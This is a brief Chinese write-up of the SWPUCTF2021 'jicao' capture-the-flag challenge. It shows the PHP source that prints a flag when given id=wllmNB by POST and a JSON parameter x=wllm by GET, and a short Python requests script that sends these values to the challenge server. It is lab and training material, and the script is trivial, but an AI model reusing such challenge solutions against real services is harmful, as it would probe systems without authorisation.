SWPUCTF2021-jicao-wp

题目链接
网页看到源代码，可知需要post id=wllmNB; get json={x=wllm}

1
2
3
4
5
6
7
8

<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>

1. HackBar

   

2. python

   1 2 3 4 5 6 7 8 9

   import requests post_data = {"id": "wllmNB"} get_data = {"json": '{"x":"wllm"}'} # params 为get数据,data为post数据 response = requests.post("http://node2.anna.nssctf.cn:28110/", data=post_data, params=get_data) print(response.text)